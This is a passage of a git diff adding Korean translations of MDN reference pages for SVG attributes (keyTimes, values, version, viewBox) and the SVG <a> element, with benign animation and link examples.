+ <li>{{ SVGAttr("u2") }}</li>
+ <li>{{ SVGAttr("underline-position") }}</li>
+ <li>{{ SVGAttr("underline-thickness") }}</li>
+ <li>{{ SVGAttr("unicode") }}</li>
+ <li>{{ SVGAttr("unicode-bidi") }}</li>
+ <li>{{ SVGAttr("unicode-range") }}</li>
+ <li>{{ SVGAttr("units-per-em") }}</li>
+</ul>
+
+<h3 id="V">V</h3>
+
+<ul>
+ <li>{{ SVGAttr("v-alphabetic") }}</li>
+ <li>{{ SVGAttr("v-hanging") }}</li>
+ <li>{{ SVGAttr("v-ideographic") }}</li>
+ <li>{{ SVGAttr("v-mathematical") }}</li>
+ <li>{{ SVGAttr("values") }}</li>
+ <li>{{ SVGAttr("version") }}</li>
+ <li>{{ SVGAttr("vert-adv-y") }}</li>
+ <li>{{ SVGAttr("vert-origin-x") }}</li>
+ <li>{{ SVGAttr("vert-origin-y") }}</li>
+ <li>{{ SVGAttr("viewBox") }}</li>
+ <li>{{ SVGAttr("viewTarget") }}</li>
+ <li>{{ SVGAttr("visibility") }}</li>
+</ul>
+
+<h3 id="W">W</h3>
+
+<ul>
+ <li>{{ SVGAttr("width") }}</li>
+ <li>{{ SVGAttr("widths") }}</li>
+ <li>{{ SVGAttr("word-spacing") }}</li>
+ <li>{{ SVGAttr("writing-mode") }}</li>
+</ul>
+
+<h3 id="X">X</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("x-height") }}</li>
+ <li>{{ SVGAttr("x1") }}</li>
+ <li>{{ SVGAttr("x2") }}</li>
+ <li>{{ SVGAttr("xChannelSelector") }}</li>
+ <li>{{ SVGAttr("xlink:actuate") }}</li>
+ <li>{{ SVGAttr("xlink:arcrole") }}</li>
+ <li>{{ SVGAttr("xlink:href") }}</li>
+ <li>{{ SVGAttr("xlink:role") }}</li>
+ <li>{{ SVGAttr("xlink:show") }}</li>
+ <li>{{ SVGAttr("xlink:title") }}</li>
+ <li>{{ SVGAttr("xlink:type") }}</li>
+ <li>{{ SVGAttr("xml:base") }}</li>
+ <li>{{ SVGAttr("xml:lang") }}</li>
+ <li>{{ SVGAttr("xml:space") }}</li>
+</ul>
+
+<h3 id="Y">Y</h3>
+
+<ul>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("y1") }}</li>
+ <li>{{ SVGAttr("y2") }}</li>
+ <li>{{ SVGAttr("yChannelSelector") }}</li>
+</ul>
+
+<h3 id="Z">Z</h3>
+
+<ul>
+ <li>{{ SVGAttr("z") }}</li>
+ <li>{{ SVGAttr("zoomAndPan") }}</li>
+</ul>
+</div>
+
+<h2 id="Categories">Categories</h2>
+
+<h3 id="Animation_event_attributes">Animation event attributes</h3>
+
+<p>{{ SVGAttr("onbegin") }}, {{ SVGAttr("onend") }}, {{ SVGAttr("onload") }}, {{ SVGAttr("onrepeat") }}</p>
+
+<h3 id="AnimationAttributeTarget" name="AnimationAttributeTarget">Animation attribute target attributes</h3>
+
+<p>{{ SVGAttr("attributeType") }}, {{ SVGAttr("attributeName") }}</p>
+
+<h3 id="Animation_timing_attributes">Animation timing attributes</h3>
+
+<p>{{ SVGAttr("begin") }}, {{ SVGAttr("dur") }}, {{ SVGAttr("end") }}, {{ SVGAttr("min") }}, {{ SVGAttr("max") }}, {{ SVGAttr("restart") }}, {{ SVGAttr("repeatCount") }}, {{ SVGAttr("repeatDur") }}, {{ SVGAttr("fill") }}</p>
+
+<h3 id="Animation_value_attributes">Animation value attributes</h3>
+
+<p>{{ SVGAttr("calcMode") }}, {{ SVGAttr("values") }}, {{ SVGAttr("keyTimes") }}, {{ SVGAttr("keySplines") }}, {{ SVGAttr("from") }}, {{ SVGAttr("to") }}, {{ SVGAttr("by") }}, {{ SVGAttr("autoReverse") }}, {{ SVGAttr("accelerate") }}, {{ SVGAttr("decelerate") }}</p>
+
+<h3 id="Animation_addition_attributes">Animation addition attributes</h3>
+
+<p>{{ SVGAttr("additive") }}, {{ SVGAttr("accumulate") }}</p>
+
+<h3 id="Conditional_processing_attributes">Conditional processing attributes</h3>
+
+<p>{{ SVGAttr("requiredExtensions") }}, {{ SVGAttr("requiredFeatures") }}, {{ SVGAttr("systemLanguage") }}.</p>
+
+<h3 id="Core_attributes">Core attributes</h3>
+
+<p>{{ SVGAttr("id") }}, {{ SVGAttr("xml:base") }}, {{ SVGAttr("xml:lang") }}, {{ SVGAttr("xml:space") }}</p>
+
+<h3 id="Document_event_attributes">Document event attributes</h3>
+
+<p>{{ SVGAttr("onabort") }}, {{ SVGAttr("onerror") }}, {{ SVGAttr("onresize") }}, {{ SVGAttr("onscroll") }}, {{ SVGAttr("onunload") }}, {{ SVGAttr("onzoom") }}</p>
+
+<h3 id="Filter_primitive_attributes">Filter primitive attributes</h3>
+
+<p>{{ SVGAttr("height") }}, {{ SVGAttr("result") }}, {{ SVGAttr("width") }}, {{ SVGAttr("x") }}, {{ SVGAttr("y") }}</p>
+
+<h3 id="Graphical_event_attributes">Graphical event attributes</h3>
+
+<p>{{ SVGAttr("onactivate") }}, {{ SVGAttr("onclick") }}, {{ SVGAttr("onfocusin") }}, {{ SVGAttr("onfocusout") }}, {{ SVGAttr("onload") }}, {{ SVGAttr("onmousedown") }}, {{ SVGAttr("onmousemove") }}, {{ SVGAttr("onmouseout") }}, {{ SVGAttr("onmouseover") }}, {{ SVGAttr("onmouseup") }}</p>
+
+<h3 id="Presentation_attributes">Presentation attributes</h3>
+
+<div class="note">Note that all SVG presentation attributes can be used as CSS properties.</div>
+
+<p>{{ SVGAttr("alignment-baseline") }}, {{ SVGAttr("baseline-shift") }}, {{ SVGAttr("clip") }}, {{ SVGAttr("clip-path") }}, {{ SVGAttr("clip-rule") }}, {{ SVGAttr("color") }}, {{ SVGAttr("color-interpolation") }}, {{ SVGAttr("color-interpolation-filters") }}, {{ SVGAttr("color-profile") }}, {{ SVGAttr("color-rendering") }}, {{ SVGAttr("cursor") }}, {{ SVGAttr("direction") }}, {{ SVGAttr("display") }}, {{ SVGAttr("dominant-baseline") }}, {{ SVGAttr("enable-background") }}, {{ SVGAttr("fill") }}, {{ SVGAttr("fill-opacity") }}, {{ SVGAttr("fill-rule") }}, {{ SVGAttr("filter") }}, {{ SVGAttr("flood-color") }}, {{ SVGAttr("flood-opacity") }}, {{ SVGAttr("font-family") }}, {{ SVGAttr("font-size") }}, {{ SVGAttr("font-size-adjust") }}, {{ SVGAttr("font-stretch") }}, {{ SVGAttr("font-style") }}, {{ SVGAttr("font-variant") }}, {{ SVGAttr("font-weight") }}, {{ SVGAttr("glyph-orientation-horizontal") }}, {{ SVGAttr("glyph-orientation-vertical") }}, {{ SVGAttr("image-rendering") }}, {{ SVGAttr("kerning") }}, {{ SVGAttr("letter-spacing") }}, {{ SVGAttr("lighting-color") }}, {{ SVGAttr("marker-end") }}, {{ SVGAttr("marker-mid") }}, {{ SVGAttr("marker-start") }}, {{ SVGAttr("mask") }}, {{ SVGAttr("opacity") }}, {{ SVGAttr("overflow") }}, {{ SVGAttr("pointer-events") }}, {{ SVGAttr("shape-rendering") }}, {{ SVGAttr("stop-color") }}, {{ SVGAttr("stop-opacity") }}, {{ SVGAttr("stroke") }}, {{ SVGAttr("stroke-dasharray") }}, {{ SVGAttr("stroke-dashoffset") }}, {{ SVGAttr("stroke-linecap") }}, {{ SVGAttr("stroke-linejoin") }}, {{ SVGAttr("stroke-miterlimit") }}, {{ SVGAttr("stroke-opacity") }}, {{ SVGAttr("stroke-width") }}, {{ SVGAttr("text-anchor") }}, {{ SVGAttr("text-decoration") }}, {{ SVGAttr("text-rendering") }}, {{ SVGAttr("unicode-bidi") }}, {{ SVGAttr("visibility") }}, {{ SVGAttr("word-spacing") }}, {{ SVGAttr("writing-mode") }}</p>
+
+<h3 id="Transfer_function_attributes">Transfer function attributes</h3>
+
+<p>{{ SVGAttr("type") }}, {{ SVGAttr("tableValues") }}, {{ SVGAttr("slope") }}, {{ SVGAttr("intercept") }}, {{ SVGAttr("amplitude") }}, {{ SVGAttr("exponent") }}, {{ SVGAttr("offset") }}</p>
+
+<h3 id="XLink_attributes">XLink attributes</h3>
+
+<p>{{ SVGAttr("xlink:href") }}, {{ SVGAttr("xlink:type") }}, {{ SVGAttr("xlink:role") }}, {{ SVGAttr("xlink:arcrole") }}, {{ SVGAttr("xlink:title") }}, {{ SVGAttr("xlink:show") }}, {{ SVGAttr("xlink:actuate") }}</p>
diff --git a/files/ko/web/svg/attribute/keytimes/index.html b/files/ko/web/svg/attribute/keytimes/index.html
new file mode 100644
index 0000000000..82d6ac0dba
--- /dev/null
+++ b/files/ko/web/svg/attribute/keytimes/index.html
@@ -0,0 +1,87 @@
+---
+title: keyTimes
+slug: Web/SVG/Attribute/keyTimes
+translation_of: Web/SVG/Attribute/keyTimes
+---
+<p>« <a href="/en-US/docs/Web/SVG/Attribute" title="en-US/docs/Web/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p><code>keyTimes</code> 속성은 애니메이션의 pacing을 제어하는 데 사용되는 세미콜론으로 구분 된 시간 값 목록입니다. 목록의 각 시간은 {{ SVGAttr("values") }} 속성 목록의 값에 해당하며 애니메이션에서 값이 사용되는 시기를 정의합니다. <code>keyTimes</code> 목록의 각 시간 값은 0과 1 사이의 부동 소수점 값으로 지정되며 애니메이션 요소의 지속 시간에 대한 비례 오프셋을 나타냅니다. </p>
+
+<p>만약 <code>keyTimes</code> 목록이 지정될 경우,  {{ SVGAttr("values") }} 목록에서와 같이 <code>keyTimes</code> 목록에 있는 값과 정확하게 일치해야합니다.</p>
+
+<p>각 연속적인 시간 값은 이전 시간 값보다 크거나 같아야 합니다.</p>
+
+<p><code>keyTimes</code> 목록의 semantics는 interpolation 모드에 따라 다릅니다.</p>
+
+<ul>
+ <li>For linear and spline animation, the first time value in the list must be 0, and the last time value in the list must be 1. The key time associated with each value defines when the value is set; values are interpolated between the key times.</li>
+ <li>For discrete animation, the first time value in the list must be 0. The time associated with each value defines when the value is set; the animation function uses that value until the next time defined in <code>keyTimes</code>.</li>
+</ul>
+
+<p>If the interpolation mode is <em>paced</em>, the <code>keyTimes</code> attribute is ignored.</p>
+
+<p>If the duration is indefinite, any <code>keyTimes</code> specification will be ignored.</p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Categories</th>
+ <td>Animation value attribute</td>
+ </tr>
+ <tr>
+ <th scope="row">Value</th>
+ <td>&lt;list&gt;</td>
+ </tr>
+ <tr>
+ <th scope="row">Animatable</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Normative document</th>
+ <td><a class="external" href="http://www.w3.org/TR/SVG/animate.html#KeyTimesAttribute" title="http://www.w3.org/TR/SVG/animate.html#KeyTimesAttribute">SVG 1.1 (2nd Edition)</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120"
+ viewPort="0 0 120 120" version="1.1"
+ xmlns="http://www.w3.org/2000/svg"&gt;
+
+ &lt;circle cx="60" cy="10" r="10"&gt;
+
+ &lt;animate attributeName="cx"
+ attributeType="XML"
+ dur="4s"
+ values="60 ; 110 ; 60 ; 10 ; 60"
+ keyTimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"
+ repeatCount="indefinite"/&gt;
+
+ &lt;animate attributeName="cy"
+ attributeType="XML"
+ dur="4s"
+ values="10 ; 60 ; 110 ; 60 ; 10 "
+ keyTimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"
+ repeatCount="indefinite"/&gt;
+
+ &lt;/circle&gt;
+&lt;/svg&gt;</pre>
+
+<p><strong>Live sample</strong></p>
+
+<p>{{ EmbedLiveSample('Example','120','120') }}</p>
+
+<h2 id="Elements">Elements</h2>
+
+<p>The following elements can use the <code>keyTimes</code> attribute</p>
+
+<ul>
+ <li>{{ SVGElement("animate") }}</li>
+ <li>{{ SVGElement("animateColor") }}</li>
+ <li>{{ SVGElement("animateMotion") }}</li>
+ <li>{{ SVGElement("animateTransform") }}</li>
+</ul>
diff --git a/files/ko/web/svg/attribute/values/index.html b/files/ko/web/svg/attribute/values/index.html
new file mode 100644
index 0000000000..6a83963056
--- /dev/null
+++ b/files/ko/web/svg/attribute/values/index.html
@@ -0,0 +1,86 @@
+---
+title: values
+slug: Web/SVG/Attribute/values
+translation_of: Web/SVG/Attribute/values
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p><code>values</code> 속성은 사용하는 맥락에 따라 크게 두 가지 의미가 있습니다.</p>
+
+<p>애니메이션 요소의 경우, values 속성은 세미콜론으로 구분된 하나 이상의 값 목록입니다. 애니메이션은 애니메이션 과정에서 순서대로 값을 적용합니다. 값 목록이 지정되면  {{ SVGAttr("from") }}, {{ SVGAttr("to") }} 그리고 {{ SVGAttr("by") }} 속성 값은 무시됩니다.</p>
+
+<p>{{ SVGElement("feColorMatrix") }} 요소의 경우 값의 내용은 {{ SVGAttr("type") }} 속성의 값에 따라 다릅니다: </p>
+
+<ul>
+ <li>For <code>type="matrix"</code>, <code>values</code> is a list of 20 matrix values (a00 a01 a02 a03 a04 a10 a11 ... a34), separated by whitespace and/or a comma.</li>
+ <li>For <code>type="saturate"</code>, <code>values</code> is a single real number value (0 to 1).</li>
+ <li>For <code>type="hueRotate"</code>, <code>values</code> is a single one real number value (degrees).</li>
+ <li>For <code>type="luminanceToAlpha"</code>, <code>values</code> is not applicable.</li>
+</ul>
+
+<p>If the attribute is not specified, then the default behavior depends on the value of attribute {{ SVGAttr("type") }}.</p>
+
+<ul>
+ <li>If <code>type="matrix"</code>, then this attribute defaults to the identity matrix.</li>
+ <li>If <code>type="saturate"</code>, then this attribute defaults to the value 1, which results in the identity matrix.</li>
+ <li>If <code>type="hueRotate"</code>, then this attribute defaults to the value 0, which results in the identity matrix.</li>
+</ul>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<h3 id="For_animation_elements">For animation elements</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Categories</th>
+ <td>Animation value attribute</td>
+ </tr>
+ <tr>
+ <th scope="row">Value</th>
+ <td>&lt;list&gt;</td>
+ </tr>
+ <tr>
+ <th scope="row">Animatable</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Normative document</th>
+ <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#ValuesAttribute" title="http://www.w3.org/TR/SVG11/animate.html#ValuesAttribute">SVG 1.1 (2nd Edition)</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="For_the_SVGElement(feColorMatrix)_element">For the {{ SVGElement("feColorMatrix") }} element</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Categories</th>
+ <td><em>None</em></td>
+ </tr>
+ <tr>
+ <th scope="row">Value</th>
+ <td>&lt;list&gt; | <a href="/en/SVG/Content_type#Number" title="en/SVG/Content_type#Paint">&lt;number&gt;</a></td>
+ </tr>
+ <tr>
+ <th scope="row">Animatable</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">Normative document</th>
+ <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feColorMatrixValuesAttribute" title="http://www.w3.org/TR/SVG11/filters.html#feColorMatrixValuesAttribute">SVG 1.1 (2nd Edition)</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<h2 id="Elements">Elements</h2>
+
+<p>The following elements can use the <code>values</code> attribute</p>
+
+<ul>
+ <li><a href="/en/SVG/Element#Animation" title="en/SVG/Element#Animation">Animation elements</a> »</li>
+ <li>{{ SVGElement("feColorMatrix") }}</li>
+</ul>
diff --git a/files/ko/web/svg/attribute/version/index.html b/files/ko/web/svg/attribute/version/index.html
new file mode 100644
index 0000000000..07e553eb02
--- /dev/null
+++ b/files/ko/web/svg/attribute/version/index.html
@@ -0,0 +1,35 @@
+---
+title: version
+slug: Web/SVG/Attribute/version
+translation_of: Web/SVG/Attribute/version
+---
+<p> </p>
+
+<p><strong><code>version</code></strong> 속성은 해당 SVG 문서가 어떤 명세를 따르고 있는지 표시하기 위해 사용됩니다. 이는 오직 <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg">&lt;svg&gt;</a>  요소 내에서만 사용되며 순전히 사용되는 버전의 알림을 위한 용도로 프로세싱이나 렌더링에는 영향을 미치지 않습니다.</p>
+
+<p>버전을 명시하기 위해 어떤 숫자든지 입력할 수 있지만, 현재로써 유효하게 사용되는 버전은 1.0과 1.1 두 버전만이 유일합니다.</p>
+
+<p> </p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Categories</th>
+ <td>None</td>
+ </tr>
+ <tr>
+ <th scope="row">Value</th>
+ <td><a href="/en/SVG/Content_type#Number" title="https://developer.mozilla.org/en/SVG/Content_type#Number">&lt;number&gt;</a></td>
+ </tr>
+ <tr>
+ <th scope="row">Animatable</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Normative document</th>
+ <td><a href="http://www.w3.org/TR/SVG11/struct.html#SVGElementVersionAttribute" rel="external" title="http://www.w3.org/TR/SVG11/struct.html#SVGElementVersionAttribute">SVG 1.1 (2nd Edition): version attribute</a></td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/svg/attribute/viewbox/index.html b/files/ko/web/svg/attribute/viewbox/index.html
new file mode 100644
index 0000000000..49f5cd3a51
--- /dev/null
+++ b/files/ko/web/svg/attribute/viewbox/index.html
@@ -0,0 +1,59 @@
+---
+title: viewBox
+slug: Web/SVG/Attribute/viewBox
+tags:
+ - SVG
+ - viewBox
+translation_of: Web/SVG/Attribute/viewBox
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p><code>viewBox</code> 속성은 특수한 container element 에 fit 하기 위한 주어진 graphics stretch 의 set 을 명시한다.</p>
+
+<p><code>viewBox </code>속성의 값은 whitespace and/or a comma 로 나뉘어진 <code>min-x</code>, <code>min-y</code>, <code>width,</code> <code>height </code>4가지 number list 이다. 이는 주어진 element 에 의해 설정된 viewport 의 bounds 에 맵핑되어야 하는 user space 내의 rectangle 을 명시하며, {{ SVGAttr("preserveAspectRatio") }} 속성과 관계가 있다.</p>
+
+<p>음수로 이루어진 width 또는 height 는 허용되지 않으며 zero 값은 element rendering 이 불가하다.</p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Categories</th>
+ <td>None</td>
+ </tr>
+ <tr>
+ <th scope="row">Value</th>
+ <td><em>See above</em></td>
+ </tr>
+ <tr>
+ <th scope="row">Animatable</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">Normative document</th>
+ <td><a class="external" href="http://www.w3.org/TR/SVG11/coords.html#ViewBoxAttribute" title="http://www.w3.org/TR/SVG11/coords.html#ViewBoxAttribute">SVG 1.1 (2nd Edition)</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Example">Example</h2>
+
+<h2 id="Elements">Elements</h2>
+
+<p>아래 element 들은 <code>viewBox</code> 속성을 사용할 수 있다.</p>
+
+<ul>
+ <li>{{ SVGElement("svg") }}</li>
+ <li>{{ SVGElement("symbol") }}</li>
+ <li>{{ SVGElement("image") }}</li>
+ <li>{{ SVGElement("marker") }}</li>
+ <li>{{ SVGElement("pattern") }}</li>
+ <li>{{ SVGElement("view") }}</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/SVG/Tutorial/Positions" title="https://developer.mozilla.org/en/SVG/Tutorial/Positions">SVG Getting Started: Positions</a></li>
+</ul>
diff --git a/files/ko/web/svg/element/a/index.html b/files/ko/web/svg/element/a/index.html
new file mode 100644
index 0000000000..8fa3e7f585
--- /dev/null
+++ b/files/ko/web/svg/element/a/index.html
@@ -0,0 +1,149 @@
+---
+title: <a>
+slug: Web/SVG/Element/a
+tags:
+ - Element
+ - SVG
+ - SVG Anchor 엘리먼트
+translation_of: Web/SVG/Element/a
+---
+<div>{{SVGRef}}</div>
+
+<p>The <strong>&lt;a&gt;</strong> SVG element creates a hyperlink to other web pages, files, locations within the same page, email addresses, or any other URL.</p>
+
+<p>In SVG, the <code>&lt;a&gt;</code> element is a container, meaning, you can create a link around text, like in HTML, but you can also create a link around any shape.</p>
+
+<div id="Exemple">
+<div class="hidden">
+<pre class="brush: css">@namespace svgns url(http://www.w3.org/2000/svg);
+html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;!-- A link around a shape --&gt;
+  &lt;a href="https://developer.mozilla.org/docs/Web/SVG/Element/circle"&gt;
+    &lt;circle cx="50" cy="40" r="35"/&gt;
+  &lt;/a&gt;
+
+  &lt;!-- A link around a text --&gt;
+  &lt;a href="https://developer.mozilla.org/docs/Web/SVG/Element/circle"&gt;
+    &lt;text x="50" y="90" text-anchor="middle"&gt;
+      &amp;lt;circle&amp;gt;
+    &lt;/text&gt;
+  &lt;/a&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush: css">/* As SVG does not provide a default visual style for links,
+ it's considered best practice to add some */
+
+@namespace svgns url(http://www.w3.org/2000/svg);
+
+svgns|a {
+ cursor: pointer;
+}
+
+svgns|a text {
+ fill: blue; /* Even for text, SVG use fill over color */
+ text-decoration: underline;
+}
+
+svgns|a:hover, svgns|a:active {
+ outline: dotted 1px blue;
+}</pre>
+
+<p>{{EmbedLiveSample('Exemple', 100, 100)}}</p>
+</div>
+
+<div class="warning">
+<p>Since this element shares its tag name with <a href="/en-US/docs/Web/HTML/Element/a">HTML's <code>&lt;a&gt;</code> element</a>, selecting "<code>a</code>" with CSS or <a href="/en-US/docs/Web/API/Document/querySelector"><code>querySelector</code></a> may apply to the wrong kind of element. Try <a href="/en-US/docs/Web/CSS/@namespace">the <code>@namespace</code> rule</a> to distinguish between the two.</p>
+</div>
+
+<h2 id="Attributes">Attributes</h2>
+
+<dl>
+ <dt>{{htmlattrxref("download", "a")}} {{experimental_inline}}</dt>
+ <dd>This attribute instructs browsers to download a {{Glossary("URL")}} instead of navigating to it, so the user will be prompted to save it as a local file.<br>
+ <small><em>Value type</em>: <strong>&lt;string&gt;</strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>no</strong></small></dd>
+ <dt>{{SVGAttr("href")}}</dt>
+ <dd>This attribute contains the {{Glossary("URL")}} or URL fragment that the hyperlink points to.<br>
+ <small><em>Value type</em>: <strong><a href="/docs/Web/SVG/Content_type#URL">&lt;URL&gt;</a></strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{htmlattrxref("hreflang", "a")}}</dt>
+ <dd>This attribute contains the URL or URL fragment that the hyperlink points to.<br>
+ <small><em>Value type</em>: <strong>&lt;string&gt;</strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{htmlattrxref("ping", "a")}} {{experimental_inline}}</dt>
+ <dd>This attribute contains a space-separated list of URLs to which, when the hyperlink is followed, <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST" title="The HTTP POST method sends data to the server. The type of the body of the request is indicated by the Content-Type header."><code>POST</code></a> requests with the body <code>PING</code> will be sent by the browser (in the background). Typically used for tracking.  For a more widely-supported feature addressing the same use cases, see <a href="/en-US/docs/Web/API/Navigator/sendBeacon">Navigator.sendBeacon()</a>.<br>
+ <small><em>Value type</em>: <strong><a href="/docs/Web/SVG/Content_type#List-of-Ts">&lt;list-of-URLs&gt;</a></strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>no</strong></small></dd>
+ <dt>{{htmlattrxref("referrerpolicy", "a")}} {{experimental_inline}}</dt>
+ <dd>This attribute indicates which <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer">referrer</a> to send when fetching the {{Glossary("URL")}}.<br>
+ <small><em>Value type</em>: <code>no-referrer</code>|<code>no-referrer-when-downgrade</code>|<code>same-origin</code>|<code>origin</code>|<code>strict-origin</code>|<code>origin-when-cross-origin</code>|<code>strict-origin-when-cross-origin</code>|<code>unsafe-url</code> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>no</strong></small></dd>
+ <dt>{{htmlattrxref("rel", "a")}} {{experimental_inline}}</dt>
+ <dd>This attribute specifies the relationship of the target object to the link object.<br>
+ <small><em>Value type</em>: <strong><a href="/docs/Web/HTML/Link_types">&lt;list-of-Link-Types&gt;</a></strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("target")}}</dt>
+ <dd>This attribute specifies where to display the linked {{Glossary("URL")}}.<br>
+ <small><em>Value type</em>: <code>_self</code>|<code>_parent</code>|<code>_top</code>|<code>_blank</code>|<strong>&lt;name&gt;</strong> ; <em>Default value</em>: <code>_self</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{htmlattrxref("type", "a")}}</dt>
+ <dd>This attribute specifies the media type in the form of a {{Glossary("MIME type")}} for the linked URL.<br>
+ <small><em>Value type</em>: <strong>&lt;string&gt;</strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("xlink:href")}} {{deprecated_inline("SVG2")}}</dt>
+ <dd>This attribute contains the URL or URL fragment that the hyperlink points to.<br>
+ <small><em>Value type</em>: <strong><a href="/docs/Web/SVG/Content_type#URL">&lt;URL&gt;</a></strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+</dl>
+
+<h3 id="Global_attributes">Global attributes</h3>
+
+<dl>
+ <dt><a href="/docs/Web/SVG/Attribute/Core">Core Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('id')}}, {{SVGAttr('lang')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Styling">Styling Attributes</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Conditional_Processing">Conditional Processing Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Event Attributes</dt>
+ <dd><small><a href="/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Global event attributes</a>, <a href="/docs/Web/SVG/Attribute/Events#Document_Element_Event_Attributes">Document element event attributes</a>, <a href="/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Graphical event attributes</a></small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Presentation">Presentation Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>XLink Attributes</dt>
+ <dd><small>Most notably: {{SVGAttr("xlink:title")}}</small></dd>
+ <dt>ARIA Attributes</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
